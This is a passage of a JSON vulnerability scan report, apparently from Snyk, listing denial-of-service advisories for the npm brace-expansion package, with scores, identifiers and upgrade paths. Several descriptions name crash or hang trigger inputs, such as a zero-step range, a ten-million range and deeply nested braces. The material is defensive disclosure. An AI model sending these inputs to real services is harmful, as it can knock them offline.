[CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { 